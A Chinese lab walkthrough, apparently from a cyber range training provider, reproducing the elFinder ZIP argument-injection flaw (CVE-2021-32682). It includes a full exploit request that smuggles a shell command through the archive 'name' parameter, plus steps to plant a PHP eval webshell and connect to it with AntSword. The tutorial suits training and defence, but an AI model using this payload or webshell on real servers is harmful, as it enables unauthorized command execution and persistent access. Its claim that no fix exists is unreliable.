专业靶场建设和运营机构
本实验为elFinder ZIP 参数任意命令注入(CVE-2021-32682)的复现实验,旨在让学员了解该漏洞产生的原因、漏洞影版本及漏洞修复方法,并且掌握该漏洞基本利用方式。
本实验需要了解webshell的相关基础知识,熟练Linux的基本操作,熟悉elFinde系统,掌握burp suite工具、蚁剑等webshell管理工具及VPS机器在漏洞利用场景中的使用。
elFinder是一个基于PHP、Jquery的开源文件管理系统。在elFinder 2.1.48及以前的版本中,存在一处参数注入漏洞和默认情况下的未授权访问漏洞,攻击者可以利用上述漏洞在目标服务器上执行任意命令,即使是最小化安装的elFinder。
受影响版本: elFinder <= 2.1.48 版本
本次复现实验版本:elFinder 2.1.48
1.验证漏洞运行环境,访问“http://靶标IP:8080/”,正常运行页面如下:
1. 复现这个漏洞首先需要用elFinder提供的功能,我们先创建两个文件:
1.1 创建1.txt文件
1.2右键1.txt,将其打包为.zip文件,最后我们得到1.txt和2.zi两个文件:
2. 打开burp suite拦截elFinder的页面数据包,转发到重放模块:
3. 发送如下数据包到目标:
数据包:
GET /php/connector.minimal.php?cmd=archive&name=-TvTT=id>shell.php%20%23%20a.zip&target=l1_Lw&targets%5B1%5D=l1_Mi56aXA&targets%5B0%5D=l1_MS50eHQ&type=application%2Fzip HTTP/1.1
Host: 靶标IP:8080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://localhost.lan:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
上述数据包中,可以看到三个重要的参数:
name, 值为-TvTT=id>shell.php # a.zip,你可以修改id>shell.php为任意你想执行的命令。targets[0], 值为l1_MS50eHQ,l1意思是第一个文件系统(默认值,不用修改),MS50eHQ是1.txt的base64编码。targets[1], 值为l1_Mi56aXA,l1意思是第一个文件系统(默认值,不用修改),Mi56aXA是2.zip的base64编码。
4. 访问http://靶标-IP:8080/files/shell.php查看执行的结果:
5.为方便进一步渗透利用,进行webshell写入。
5.1 构造写webshell命令:
将上述数据包的“id”改为“echo ‘<?php @eval($_POST[a]);?>’”并进行URL编码
5. 2发送修改后的数据包到目标。
5.3 访问http://靶标-IP:8080/files/shell.php未报错,推断写入成功:
6. 蚁剑连接写入的webshell。
目前暂无修复方法,请受影响的用户及时关注官方消息和发布的新版本。
本课程给出的所有脚本、POC、EXP 及使用的工具,提出的测试方 法仅供合法的渗透测试以及爱好者参考学习,禁止用于非法用途,否则 一切责任由使用者承担,课程作者及其组织机构不承担任何连带法律责任。
END
●360集团与“贵州四方”达成战略合作,共建大数据产业示范城市
●速看!incaseformat蠕虫病毒删除文件全过程,这样做更安全!
原文始发于微信公众号(国卫信安):elFinder ZIP 参数与任意命令注入(CVE-2021-32682)